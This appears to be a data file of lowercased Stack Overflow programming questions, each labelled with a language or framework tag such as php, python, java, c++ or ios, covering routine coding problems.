how do you keep a php link in the header while it loads another page   if you go here: hxxp://getriotpointscodes.com and look at the php coded link on the right hand side (hxxp://getriotpointscodes.com/index.php id=35863).     how do you mimic the behavior where you copy the link into the browser while it loads another page while keeping the original clicked link(hxxp://getriotpointscodes.com/index.php id=35863) as the header     this page is already exhibiting this behavior  but i wasn t sure how to exactly code it for my own use.    i had something like this  but it s probably wrong:   <pre><code>&lt; php // referral.php  $id = (isset($_get[ id ]))   strval($_get[ id ]) :  1 ; // lookup $url[1] =  hxxp://getriotpointscodes.com/index.php id=23121 ;  header( content-type: text/plain ); include( index.php );  &gt; </code></pre>,php
how do i get else to restart in python <pre><code>while true:     print ( what is your name )     name = input()     if name ==  joe :         continue     else:         break     print ( what is the password )     password = input()     if password ==  123 :         break print ( permission granted ) </code></pre>   whenever i type something other than joe it brings me to the last line.i am new to programming so any help would be appreciated.,python
adding integer getting user input from console in objective-c <pre><code>int main() {     int number1;     int number2;      cout&lt;&lt; enter first and second number ;      cin&gt;&gt;number1 number2;      int sum=number1+number2;      cout&lt;&lt; sum is   sum ; } </code></pre>   i m using objective-c online editior. my question is how to get user input from console  is it possible to convert this program into objective-c syntax,objective-c
need something other than touchup inside  i have a button in my iphone app  when i click the button it calls a linked method  that i have done as:    <pre><code>[mybutton addtarget:self action:@selector(buttontapped:) forcontrolevents:uicontroleventtouchupinside]; </code></pre>   all working well  but i want if user tap the button for say 5 second continuously then he will be shown a  message that will be there and gone away after some time and button does not get clicked  how can i do that  please help me.    many thanks in advance. regards iphone developer11,iphone
dynamically editing a node label in treeview  i have a treeview control. i just want the user to edit the text of a node for the some specified nodes alone.     in treeview control i have labeledit property which makes the text editable for all nodes in the tree but i want only the corresponding node text to be editable..    some thing like    treeview1.nodes[1].edit=true........    anyway to do it...    thanks in advance.,.net
"angular js query build  i m trying to build a url in my angular page. here is a working url using postman    <a href= http://localhost:8080/api/app user=77787f&amp;path=/&amp;projection=display  rel= nofollow noreferrer >http://localhost:8080/api/app user=77787f&amp;path=/&amp;projection=display</a>    to get this to work i m hard-coding the user and the path for now    so user=77787f path =  /     my service.js has    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function geneset ($resource) {
         var resourceurl =   api/app&amp;:userprojection=display ;</code></pre>
 </div>
 </div>
  and then    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>return $resource(resourceurl  {}  {
              query : { method:  get   isarray: false   
                 transformresponse: function(data) {
                     if (data) {
                         data = angular.fromjson(data);
                     }
                     return data;
                 }} </code></pre>
 </div>
 </div>
     i have the following in my controller    vm.user =  7966152e-7637-41fa-bbb6-91ee3fbbc3c7&amp;path=/  vm.path =  /     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function loadall () {
             app.query({
                 user: vm.userid 
                 path: vm.path 
                 page: pagingparams.page - 1 
                 size: vm.itemsperpage 
                 sort: sort()
             }  onsuccess  onerror);
             function sort() {
                 var result = [vm.predicate +     + (vm.reverse    asc  :  desc )];
                 if (vm.predicate !==  id ) {
                     result.push( id );
                 }
                 return result;
             }</code></pre>
 </div>
 </div>
     any easy way to create this  i added a second variable in the get and that is causing me an issue.",angularjs
error when runnign the form: possible unintended referenece comparision; to get a value comparision  cast the left hand side to type  string   i have use the combo box: two selection only:  jewelry    gem     this is my code :    <pre><code>private void combo_main_type_selectedindexchanged(object sender  eventargs e)     {          if (combo_main_type.selecteditem ==  jewelry )         {             txt_qty.visible = true;             label6.visible = true;             txt_qty.location = new system.drawing.point(400  400);             label6.location = new system.drawing.point(550  500);         }         else         {             txt_qty.visible = false;             label6.visible = false;         }       } </code></pre>   this line is underlined by red color: if (combo_main_type.selecteditem ==  jewelry ),c#
use or replace table rows[rowid] javascript function for div  i m currently trying to replace my old method of using <code>table</code> with div and which i m accomplishing successfully but i m stuck in a problem. the situation is that in my table method i m hiding some of my <code>&lt;tr style= display:none; &gt;</code> which are not required by using some java-script functions and display when it is required. now i m converting my tables rows and column by div and the method which i m using to show only works for table.when the <code>.php</code> page is open i m passing arguments in url for example <code>localhost/royaltrade/user_access.php rpttype=userlog</code> and getting it by using <code>$_request[ rpttype ]</code> method after this <code>&lt;body onload= funcontrols(); &gt;</code> calling function which use that case and switch to a function called <code>funcontrols()</code> and select the case and execute its line.how can i hide and show my div        <br>here is my javascript code   <pre><code> function funcontrols()  {  &lt;   switch($_request[ rpttype ])   {           case  userlog :             echo  showrows( table   compname ); ;             echo  showrows( table   username ); ;             echo  showrows( table   startingdate ); ;                echo  showrows( table   endingdate ); ;             $title= user log ;             $path= browser_reports/rptuserlog.php ;             $selected= userlog ;                          break;      }    &gt;    } </code></pre>   here is the problem in that function can t use rows[rowid] function for div    <pre><code> function showrows(tableid rowid){  var hide= true;  var t = document.getelementbyid(tableid);  var rowstyle = (hide)   block :  ;  t.rows[rowid].style.display = rowstyle;  }  function hiderows(tableid rowid){  var hide= true;  var t = document.getelementbyid(tableid);  var rowstyle = (hide)   none :  ;  t.rows[rowid].style.display = rowstyle;  } </code></pre>   here is my body tag which calls the function onload   <pre><code> &lt;body onload= funcontrols();  &gt; </code></pre>   here is my html working   <pre><code>  &lt;table  id= table  cellpadding= 0  cellspacing= 0  border= 0  align= center &gt;     &lt;tr height= 35  id= compname  style= display:none &gt;     &lt;td width= 150 &gt;select company:&lt;/td&gt;                                                                             &lt;td width= 200 &gt;                                                              &lt;select class= textbox  name= cbocompname  style= width:178px  id = cbocompname &gt;    &lt;option value= -1 &gt; select &lt;/option&gt;   &lt;/td&gt;  &lt;/tr&gt;   &lt;/table&gt; </code></pre>   here is the <b><a href= https://jsfiddle.net/er3wb896/8/  rel= nofollow noreferrer >js fiddle</a></b> working with table <br> here is the <b><a href= https://jsfiddle.net/er3wb896/10/  rel= nofollow noreferrer >js fiddle</a></b> working with div in which i want to acheive this methodology,javascript
uinavigationcontroller behave wrong after dimiss presented viewcontroller ios  i am now using the tabbar controller and the uinavigation controller  when i call the mfmailcomposeviewcontroller by presentviewcontroller  and dismissed by dismissviewcontrolleranimated  i swipe back and click to push the viewcontroller again i found the back button is disappear and the title is wrong.    tab-> viewcontroller [a] (navigation controller embed) -(push)-> viewcontroller[b] (with back button) -(present)-> mfmailcomposeviewcontroller -(dismiss)-> show viewcontroller[b] -(swipe back)-> viewcontroller [a] -(push) -> viewcontroller[b]  (back button is disappear and the title is wrong)    even i press back instead of swipe back  i found that there is still some problem not behave as usual navigation push controller    many thanks if anyone could help!   <hr>   <strong>after all these  viewcontroller[b] pop/swipe back to viewcontroller[a] viewdidappear and viewwillappear function in viewcontroller[a] are not triggered.</strong>,ios
pythonic way to set sort order   i have a collection on objects that i need to assign a random order.  i wrote a pretty dumb java style loop to do it  but what is a fancier pythonic way to achieve the same    <pre><code>from random import shuffle  class pair(object):     def __init__(self  name):         self.name = name         self.order = 0     def __repr__(self):         return self.name +   order:   + str(self.order)  test =[pair( a ) pair( b ) pair( c ) pair( d )] print(test) #shuffle the list shuffle(test) i = 1 #this is what i want to replace &lt;------ for t in test:     t.order=i     i+=1  print(test) </code></pre>  <hr>   sample output:   <pre><code>&gt;&gt;&gt;[a order: 0  b order: 0  c order: 0  d order: 0] &gt;&gt;&gt;[c order: 1  a order: 2  d order: 3  b order: 4] </code></pre>,python
abstract class usage  when using abstract classes in an application  i came across two possible ways to access data in abstract classes. would one be preferred over the other because of its context of being an within an abstract class    <pre><code>public abstract class example {         private string name;         public example(string name) {             this.name = name;        }         //other methods that can be overridden in child classes }  public class exampletwo extends example {         public exampletwo() {             super( exampletwo );        } } </code></pre>  <hr>   or would it be better to simply override a returning method with a value  given the same output. for example:   <pre><code>public abstract class example {         public abstract string getname();         //other methods that can be overridden in child classes }  public class exampletwo extends example {         @override        public string getname() {              return  exampletwo ;        }  } </code></pre>,java
the output of this code is 0  can someone explain it to me  here is the code:    <pre><code>int main()  {  int x = 2  y = 0;  int z = (y++)   y == 1 &amp;&amp; x : 0; /* need help here */  printf( %d\n   z);  return 0;  }  </code></pre>   need help on the 4th line. why is the output 0  need help plzzzzzzzz,c
how do you implement your own src for the script  ok  sorry for not wording the question correctly  and im not so good with words  but i was wondering  since you can get the scripts in html from the web  ex: <code>&lt;script src= something &gt;&lt;/script&gt;</code> how do you make it to where you can put in your own src  again  sorry for not being able to word this good  but if you understand could you please help me out.,html
having problems with printing out a double  so i have this line of code   <pre><code>output.println( nimi: %s | keskmine hinne %f | aine: %s   i.askname()  i.askmedian()  i.asksubject()); </code></pre>   so the the first and last one are strings but the middle one is a double. now to print a double i know that you have to use %f right  but for some reason eclipse is giving me this error:   <pre><code>the method println(string) in the type printwriter is not applicable for the arguments (string  string  double  string) </code></pre>   what is the problem here   why is the error even showing like i am trying to use 4 variables here when i am only using 3,java
how to delay input  first i got a menu asking what i want to do  the problem is even if i select exit i still have to input the variables from the addentry function. how do i make it so that only when i call the addentry function i need to input those variables    <pre><code>date=raw_input( date ) amount=raw_input( amount ) desc=raw_input( desc ) account=raw_input( account ) def addentry(date  amount  desc  account):         transact=open( transactions.txt    w )         print &gt;&gt;transact  date  amount  desc  account         transact.close() </code></pre>,python
basic java : fractions rounded to 0  when i have a fraction for example <code>(5 / 6)</code> then java will just round this to 0.    for example:   <pre><code>system.out.println(1-(1/2)); </code></pre>   this prints out 1 instead of 1/2 ie 0.5.    how can i tell java that these should be floats or doubles instead of rounded to integers,java
what are some string encapsulation classes which specify both meaning and behavior for their contents   .net has system.uri for uris and system.io.fileinfo for file paths. i am looking for classes which are traditionally object oriented in that they specify both meaning and behavior for the string which is used in the object s construction. what other useful string encapsulation classes exist     things such as regular expressions and stringbuilders are useful for the gross manipulation of strings but they aren t what i m looking for.,.net
java search functionality  there is a requirement in my java project where the user will enter the customer name/ number in the front-end  screen and hit search button  the system should display all the matching customer names with links to the customer details. i have been asked to write     a web service to implement this functionality which will fetch the customer records from the database and display it in the front-end.     please help me how to do this. thanks in advance!!,java
erase iterator from list in debug and release mode   i have a strange problem here. i m trying to erase an iterator from a particle system (std::list). i erase an iterator when the particles goes out of screen. when i checked the size of the particles in debug mode  i found that they are the double compared to release mode  i don t know why.    kindly find the following code   <pre><code> void particlemanager::update(std::vector&lt;ci::vec2f&gt; masses)     {         int targetdifference = masses.size() - m_targets.size();          if (masses.size() == 1 &amp;&amp; targetdifference == 1)         {             addtarget();         }         else if (targetdifference &gt; 1)         {             addtarget();         }          else if (targetdifference &lt; 0)         {             deletetarget();         }          vec2f currvec  offset;         float fcurrlengthsquared;         bool balltargetsactive = true;          std::list&lt;particle&gt;::iterator p = m_particles.begin();         while( p != m_particles.end() )          {             p-&gt;update();              float fminsquaredlength = 0.0f;              // influence of the masses             for( int i = 0; i &lt; (int) masses.size(); ++i )             {                 currvec = masses[i] - p-&gt;m_position;                 fcurrlengthsquared = currvec.lengthsquared();                  if (fcurrlengthsquared &lt; parammgr.m_fforcemindist * parammgr.m_fforcemindist)                 {                     fcurrlengthsquared = parammgr.m_fforcemindist * parammgr.m_fforcemindist;                 }                  if(fcurrlengthsquared &lt; parammgr.m_fforcemaxdist * parammgr.m_fforcemaxdist)                 {                     offset = currvec.normalized() / (fcurrlengthsquared / 500.0f);  // 1000.0f                           p-&gt;m_direction += offset * ((float) timermgr.getdeltatime() * parammgr.m_fgravity * parammgr.m_fgravity );                 }                  /*if( i == 0 )                     fminsquaredlength = fcurrlengthsquared;                  if( fcurrlengthsquared &lt; fminsquaredlength )                     fminsquaredlength = fcurrlengthsquared;*/             }              if( masses.size() &gt; 0 )             {                 float fsquarecolorradius = parammgr.m_fcolorradius * parammgr.m_fcolorradius;                 if( fminsquaredlength &gt; fsquarecolorradius )                 fminsquaredlength = fsquarecolorradius;                  float fintensity = 1.0f - (fminsquaredlength / fsquarecolorradius) * 0.9f;                 //p-&gt;m_color = ci::color(0.0f  fintensity  0.0f);                 //p-&gt;m_color = ci::color(0.0f  1.0f  0.0f);             }              p-&gt;m_fage += (float) timermgr.getdeltatime();              // outside the window             if( p-&gt;m_position.x &lt; 0.0f - m_fcollisionoffsetx || p-&gt;m_position.x &gt; getwindowwidth() + m_fcollisionoffsetx ||                 p-&gt;m_position.y &lt; 0.0f - m_fcollisionoffsety || p-&gt;m_position.y &gt; getwindowheight() + m_fcollisionoffsety )             {                 p-&gt;m_bisdead = true;             }             else             {                  // check targets                 for( std::list&lt;target&gt;::iterator t = m_targets.begin(); t != m_targets.end(); t++ )                 {                     if( t-&gt;checkparticle( p-&gt;m_position ) )                     {                         p-&gt;m_colorchange = color( cm_hsv  t-&gt;m_fhue  t-&gt;m_fsat * 0.9f  1.0f );                         if( p-&gt;checktarget( *t ) )                         {                             t-&gt;addparticlehit();                         }                     }                     else                     {                         if( t != m_targets.end() )                         {                             p-&gt;m_targets.remove( *t );                             //std::cout &lt;&lt;  try to erase:   &lt;&lt; (*t).m_position &lt;&lt;   from target list.  &lt;&lt; std::endl;                         }                     }                 }             }                 if( p-&gt;m_bisdead )             {                 p = m_particles.erase(p);              }                    p++; } </code></pre>,c++
linkify (plain url to link) based on windowsize  this is what i would like to do   <ol> <li>when window size is &lt; 1000  change any plain text url to a clickable one</li> <li>when window size is > 1000  change any plain text url to a clickable one  replaced by the word  link .</li> </ol>   i had a go but it seems to be failing somewhere!    anyone can shed some light     thanks   <pre><code>&lt;html&gt; &lt;head&gt;    &lt;script src= https://code.jquery.com/jquery-3.1.0.js &gt;&lt;/script&gt;    &lt;script&gt;$(document).ready(function() {     function checkwidth() {         var windowsize = $(window).width();         if (windowsize &lt; 1000) {           $( div ).each(function(){ $(this).html( $(this).html().replace(/((http|https|ftp):\/\/[\w =&amp;.\/-;#~%-]+( ![\w\s &amp;.\/;#~% =-]*&gt;))/g   &lt;a href= $1 &gt;$1&lt;/a&gt;  ) ); });         } //make plain text url clickable         else if (windowsize &lt; 1000) {           $( div ).each(function(){ $(this).html( $(this).html().replace(/((http|https|ftp):\/\/[\w =&amp;.\/-;#~%-]+( ![\w\s &amp;.\/;#~% =-]*&gt;))/g   &lt;a href= link &gt;link&lt;/a&gt;  ) ); });         } //convert plain text to clickable word  link       }     checkwidth();     $(window).resize(checkwidth);     $(window).onload(checkwidth); });   &lt;/script&gt;   &lt;/head&gt;   &lt;body&gt;   &lt;div&gt;https://www.google.com/&lt;/div&gt;   &lt;div&gt;https://www.yahoo.com/&lt;/div&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
angular ng-repeat table need month order  i have simple months table with some data but incomplete. few months are missing so difficult to match with exact every month. these data has to match with exact month  my month are specified in json are in  2015-01   2015-02   2015-03 ..... format. but also in disorder.  plunker :  <a href= http://plnkr.co/edit/rw36ckdefww7qdqeyik8 p=preview  rel= nofollow >http://plnkr.co/edit/rw36ckdefww7qdqeyik8 p=preview</a>   <pre><code>$scope.year = [ { month : 2015-03    val : 23 }  { month : 2015-02    val : 45 }  { month : 2015-06    val : 11 }  { month : 2015-01    val : 56 }  { month : 2015-11    val : 11 }  { month : 2015-12    val : 15 } ]; </code></pre>   help me to place month values exact below to particular month.,angularjs
how to change the target frame link in html using script(java or some other script)   i am new to this forum. i have few image buttons on the top  when i click each image will open the links on the bottom frame(object).. i have tried few lines. but i got only one static link is working. but i want different links for each button.    <pre><code>&lt;html&gt;  &lt;head&gt; &lt;meta http-equiv= content-language  content= zh-cn &gt; &lt;meta http-equiv= content-type  content= text/html; charset=gb2312 &gt; &lt;title&gt;new web&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;  &lt;div style= margin: 0 auto; width:1107px; height:1512px; &gt;     　&lt;p&gt;&lt;img border= 0  src= images/home.jpg  name= home  onclick= onbutton1();  width= 95  height= 94 &gt;&amp;nbsp;     &lt;img border= 0  src= images/googlemaps.jpg  name= googlemap  onclick= onbutton1();  width= 91  height= 90 &gt;&amp;nbsp;     &lt;img border= 0  src= images/restaurants1.jpg  width= 93  height= 91 &gt;&amp;nbsp;     &lt;img border= 0  src= images/barsclubs.jpg  width= 99  height= 94 &gt;&amp;nbsp;     &lt;img border= 0  src= images/spa1.jpg  width= 110  height= 94 &gt;     &lt;img border= 0  src= images/taxishuttle.jpg  width= 97  height= 95 &gt;&amp;nbsp;     &lt;img border= 0  src= images/airline1.jpg  width= 111  height= 97 &gt;&lt;img border= 0  src= images/tourattractions.jpg  width= 102  height= 96 &gt;     &lt;img border= 0  src= images/couponsdeals.jpg  width= 100  height= 96 &gt;     &lt;img border= 0  src= images/shopping1.jpg  width= 93  height= 96 &gt;&lt;/p&gt;  &lt;object type= text/html  data= http://www.yahoo.com/              style= width:100%; height:39%; margin:1% &gt;     &lt;/object&gt;  &lt;/div&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
mysql lib socket vs run socket  why is it that when i use this setting in my my.conf:   <pre><code>socket = /var/lib/mysql/mysql.sock pid-file = /var/lib/mysql/mysql.pid </code></pre>   i get lightning fast speeds in http  but as soon as it moved to https i get the  unable to establish connection to database  error. if i switch it back to my old:   <pre><code>socket = /var/run/mysqld/mysqld.sock pid-file = /var/run/mysqld/mysqld.pid </code></pre>   it s much slower  but https works fine. nothing shows up in the error log in the first example. i would love to keep the /var/lib socket speeds  but i need https to work on the site.,mysql
how to  plus  strings in c++  sorry  english is not my native language  then i have some doubt to create this question.    <strong>i need to assign a code like:</strong>   <pre><code>string mystr; mystr =  a  +  b ; </code></pre>   but i just get errors. the problem is on the operator  isn t + (plus)     yes  i m novice programmer too. please  help. thank you so much.,c++
fancy image viewer for iphone  how to do   hello any one know component to make this kind of image viewer   or maybe some code  or any help      <a href= http://img860.imageshack.us/i/44940170.jpg  rel= nofollow >http://img860.imageshack.us/i/44940170.jpg</a>,iphone
retrieve files from remote server based on yesterday s date  i need to modify this script to retrieve only the files with yesterday s date. here is what i have:   <pre><code>&lt; php $username =  xxxxxx ; $password =  xxxxxx ; $ftp_server =  data.mywebsite.com ;   $conn = ftp_connect($ftp_server) or die( couldn t connect to $ftp_server ); if(ftp_login($conn  $username  $password)) {     echo  logged in ; } else {     echo  ftp error:could not log in to  .$ftp_server;     exit(); } ftp_pasv ($conn  true); if (ftp_chdir($conn   ../photos/hi-res )) {     echo  current ftp directory is now:   . ftp_pwd($conn) .  \n ; } else {      echo  couldn t change to photos directory\n ; }  $list = ftp_nlist($conn   . ); function is_img($file) {     if(preg_match( /.*\.png/   $file))     {         return preg_match( /.*\.png/   $file) &gt; 0;     }     if(preg_match( /.*\.jpg/   $file))     {         return preg_match( /.*\.jpg/   $file) &gt; 0;     }     if(preg_match( /.*\.gif/   $file))     {         return preg_match( /.*\.gif/   $file) &gt; 0;     } }  $filtered = array_filter($list  is_img); foreach($filtered as $img) {     if (ftp_get($conn  $img  $img  ftp_binary)) {         echo  successfully written to $img\n ;     } else {         echo  there was a problem\n ;     } } ftp_close($conn); </code></pre>   when i run the script  it is grabbing all files not already on my server which is not what i want. i just want it to grab all the files with yesterdays date. thanks,php
what s best practice for passing $scope-variable in function from template   i m trying to pass a variable from angular template to a function like this:   <pre><code>&lt;p ng-show= enabled( {{finalist.url}} ) ===  novote  &gt; </code></pre>   is this appropriate,angularjs
rails nested association & multiple collection_select  i m fairly new to rails and i m having some issues updating my association tables when using multiple select.    i have three tables  <code>portrait</code> <code>portrait_tags</code> and <code>tags</code>    (the tags stores the names of my tag names (traditional  inspirational  community etc))    my desired outcome is that the  multiple select field  will add the tags to the portrait_tag table based on the tag.all tag_id value. currently this seems to insert only one field and the tag_id in the portrait_tag table is null  then when i return to the edit page the multiple select is duplicated.    <strong>params</strong>   <pre><code>  parameters: { utf8 =&gt; ✓    authenticity_token =&gt; j+obhq9u+mvokynj4+tagy+be8s3abzlmvuykiot5iykqjmyfacs23pjbqjotjwl6arbx1m5lmyrzztjoedtja==    portrait =&gt;{ portrait_tags_attributes =&gt;{ 0 =&gt;{ tag_id =&gt;[     1    2 ]}}}   commit =&gt; save changes    id =&gt; 72 } </code></pre>   <strong>tag.rb</strong>   <pre><code>class tag &lt; activerecord::base    has_many :portraits  through: :portrait_tags   accepts_nested_attributes_for :portraits  end </code></pre>   <strong>portrait.rb</strong>   <pre><code>class portrait &lt; activerecord::base      has_many :portrait_tags     has_many :tags  through: :portrait_tags      accepts_nested_attributes_for :portrait_tags  end </code></pre>   <strong>portrait_tag.rb</strong>   <pre><code>class portraittag &lt; activerecord::base    belongs_to :portrait   belongs_to :tag  end </code></pre>   <strong>edit.html.haml</strong>   <pre><code>%h1 edit portrait = form_for [:admin  @portraits]  :html =&gt; { :method =&gt; :put } do |f|    - if flash[:system].present      - flash[:system].each do |e|       %div= e    - if flash[:notice].present      %div= flash[:notice]    = f.fields_for :portrait_tags do |a|     = a.collection_select :tag_id  tag.all  :id  :name  {}  {multiple: true}    = f.submit  save changes   class:  btn btn-primary  </code></pre>   <strong>portraitcontroller</strong>   <pre><code>class admin::portraitscontroller &lt; applicationcontroller      def edit        @portraits = portrait.where(artist_id: 33  id: params[:id]).take        @portraits.portrait_tags.build      end      def update        @portrait = portrait.where(artist_id: 33  id: params[:id]).take         if @portrait.update(portrait_params)          p portrait_params        else         flash[:system] = @portrait.errors.full_messages         p @portrait.errors.full_messages          render :edit       end      end      private       def portrait_params         # permit our attributes         params.require(:portrait).permit(:id  portrait_tags_attributes: [:id  :tag_id =&gt; [] ])        end    end </code></pre>   <strong>portrait_tags table</strong>   <pre><code>+----+-------------+--------+ | id | portrait_id | tag_id | +----+-------------+--------+ </code></pre>   <strong>portraits table</strong>   <pre><code>+----+-----------+--------------+ | id | artist_id | artist_image | +----+-----------+--------------+ </code></pre>   <strong>tags table</strong>   <pre><code>+----+-----------+--------------------+ | id |   name    |   portrait_tag_id  | +----+-----------+--------------------+ </code></pre>,ruby-on-rails
are there any thread specific clocks in the c++ world   i used to measure time consumption of different threads with <code>clock_thread_cputime_id</code> and <code>clock_gettime</code>.     but clock_gettime is a standard in posix world  so it won t work in other platform like windows when it comes to platform crossing.    i checked the c++ std  found <code>steady_clock</code>  <code>system_clcok</code>  <code>high_resolution_clock</code> till now  none of these can clock a specific thread.     did i miss any thing  if yes  what s the bullet  or if not  any advices,c++
failed to use memmem for string search  i don t like to just dump a load of code in here and ask people to debug it for me  but i m a bit inexperienced with c and i m totally stumped.    the overall aim is to do a bit of cleanup on a very large log file (11g+)  i m reading in 2048 bytes at a time  then scanning individual lines  writing them to an output file.  i was originally using strstr to find line endings  however i found this didn t work with the partial line at the end of the read buffer - i think this is because the  string  i m reading from the file doesn t have a \0 at the end of it  and strstr gets confused.    so  after a bit of googling i thought i d try memmem  which seems to be a  binary safe  drop-in replacement for strstr.  this is where i m stuck  my program is segfaulting during the call to memmem.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  #define buff_len 2048  int main (void) {     char file_buff[buff_len]  prev_line[buff_len]  curr_line[buff_len];     char *p_line_start  *p_lf;     int bytes_consumed  bytes_read;     file *in_fp  *out_fp;      in_fp = fopen( 208.log    r );     out_fp = fopen( expanded.log    w+ );      int sane = 0;     while (1) {         bytes_read = fread(file_buff  1  buff_len  in_fp);         if (bytes_read == 0) {             break;         }          // set the pointer to the beginning of the file buffer         p_line_start = file_buff;         bytes_consumed = 0;          // chomp lines         while (bytes_consumed &lt; bytes_read) {             printf( read to go with bytes_read = %d  bytes_consumed = %d\n                   bytes_read  bytes_consumed);             p_lf = (char *) memmem(p_line_start  bytes_read - bytes_consumed                   \n   1);             if (p_lf == null) {                 // no newline left in file_buff  store what s left in                 // curr_line and break out to read more from the file.                 printf( at loop exit i have chomped %ld of %d\n                       p_line_start - file_buff  bytes_read);                 //break;                 goto cleanup;             }             // copy the line to our current line buffer (including the newline)             memcpy(curr_line  p_line_start  p_lf - p_line_start + 1);             printf( chomped a line of length %ld\n   p_lf - p_line_start + 1);             fwrite(curr_line  1  p_lf - p_line_start + 1  out_fp);             p_line_start = p_lf + 1;             bytes_consumed += p_lf - p_line_start + 1;         } </code></pre>   can anyone throw me a line here !<br> tips on how to better debug this for myself are also welcome.,c
iphone application permission  i want to know if it is possible to have two separate applications in ios domain where  1) one application is the background application 2) other acts like foreground application    the foreground application will use background application for fetching data  data processing and maintaining its database. the user will need to install both applications on his device and for this it should be like this that if user installs one app (say foreground or ui app) it will automatically guide user to install another app. have heard that something like of this sort is possible in android and applications like voice recognization etc does that.    also the background application will start running as soon as we boot our device and foreground will launch only after user launches it by clicking on the icon.    possible advantages in my mind scenario where one can come with more than one foreground apps. so both of foreground applications can use same background applicatons for maintaining database. this way there will be only one app maintaining database for two different foreground apps on a single device    the background will be the main app will be doing all heavy lifting such as fetching data from server  checking update at regular time intervals and maintaining data base.    not sure if something of that sort is possible in ios and is permissible on app store      thanks,iphone
how to use foreach loop to edit some rows while populating datatable from sql   i am trying to populate a <strong>data table</strong> from a database table. after it is populated i am using asp:gridview to show the data.    the problem is i am trying to edit some rows after it is populated from the database but before binding the data.    i am very new to c# so i cant get it working. my code does not update anything.   <pre><code>private void bindgridviewfiledata()         {              string connectionstringname = webconfigurationmanager.connectionstrings[ localconnection ].connectionstring;             try             {                 using (sqlconnection sqlconn = new sqlconnection(connectionstringname))                 {                     using (sqlcommand sqlcmd = new sqlcommand())                     {                         sqlcmd.commandtext =  select * from visualisation ;                         sqlcmd.connection = sqlconn;                         sqlconn.open();                         sqldatareader objdatareader = sqlcmd.executereader();                         datatable objdatatable = new datatable();                         objdatatable.load(objdatareader);                          foreach (datarow row in objdatatable.rows)                         {                             if (row[ linenumber ] ==  1 )                             {                                 row[ batch_no ] =  new value ;                             }                         }                          gvsubjectdetails.datasource = objdatatable;                         gvsubjectdetails.databind();                         sqlconn.close();                     }                 }             }             catch { }         } </code></pre>,c#
remove bold  italic  and underline options from the uiwebview (ios)  i cannot seem to remove bold  italic  and underline options from the uiwebview.  why is this not possible     customwebview.h:   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface customuiwebview : uiwebview  @end </code></pre>   customwebview.m:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  customuiwebview.h   @implementation customuiwebview  -(bool)canperformaction:(sel)action withsender:(id)sender {     return no;     return [super canperformaction:action withsender:sender]; }  @end </code></pre>   <a href= https://i.stack.imgur.com/qtwp9.png  rel= noreferrer ><img src= https://i.stack.imgur.com/qtwp9.png  alt= enter image description here ></a>,ios
retrieving network mask in python  how would one go about retrieving a network device s netmask (in linux preferably  but if it s cross-platform then cool)  i know how in c on linux but i can t find a way in python -- minus ctypes perhaps. that or parsing ifconfig. any other way    <pre><code>ioctl(socknr  siocgifnetmask  &amp;ifreq) // c version </code></pre>,python
how to teach a programmer how to code in c++   so here i am trying to teach my friend the art of c++. he is no newbie to programming  but his area of expertise is somewhat further away from c++. he knows html  php and java fairly well  but it seems this is of no use when it comes to writing a c++ program. we already went through the basics  talked about pointers and such. he even had a course at his university about c++ but he gave up halfway through. it seems that he really understands basic theory - the problem is he fails when it comes to actually using what he knows to write programs.    so what i m trying to do now is to give him homeworks. the task is always to write a small program  such as a primitive calculator (input two numbers and a letter which determines operation that should be performed...) etc. the idea behind this is to force him to actually use the language to solve problems  debug it and see why it fails and learn from it. but it seems it does not work  since every time i try to make it harder and give him a more complex homework  he is not able to solve it. what should i do now  i m really running out on ideas of homeworks and i have doubts that this approach is good. moreover  new semester starts just right now and he <strong>has</strong> to pass the c++ course this time. so there is even a deadline - the end of this year.    so  can you help here,c++
social sharing capabilities on appcelerator titanium  i cant figure out how to add social sharing icon buttons for facebook  twitter  email on appcelerator titanium for my mobile app. i am looking for the icon and the logic. any help would be appreciated  thanks.,html
i keep getting a syntax error for this conditional statement in javascript  i need a script to change the contents of a  tag to red when the contents of the tag meet a certain string  but my editor keeps throwing back a syntax error for the conditional statement line (line 11). this is for a rotating carousel so there will be multiple  tags going through the same div. here is what i have so far in my mockup.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;heading color change&lt;/title&gt; &lt;script type= text/javascript &gt;  function colorchange(hsnewsextra){  var string =  hs news extra ;  var color =   ;  if string.indexof( hs news extra &gt; -1 ) {  //do nothing  color =   ;  }else{  color =  red ;  }  return color;  }  &lt;/script&gt; &lt;/head&gt;  &lt;body&gt; &lt;h3&gt;hs news extra&lt;/h3&gt; &lt;h3&gt;fb new&lt;/h3&gt; &lt;h3 id= hsnewsextra  style= color:javascript:colorchange(this.id) &gt;hs news extra&lt;/h3&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   any ideas on what my problem is  thank you in advance!,javascript
get day of month based on server timezone  i want to check the day of the month based on the current server timezone.    i have tried:   <pre><code>$timestamp = time();  if(date( j   $timestamp) ===  8 )  </code></pre>   but date() was returning a 7 this morning when my server s time was showing as the 8th.  it appears that time() does not pick up the timezone.    i do not want to change the global default timezone nor specify a specific timezone in my code.  i want to pick up on the server time.,php
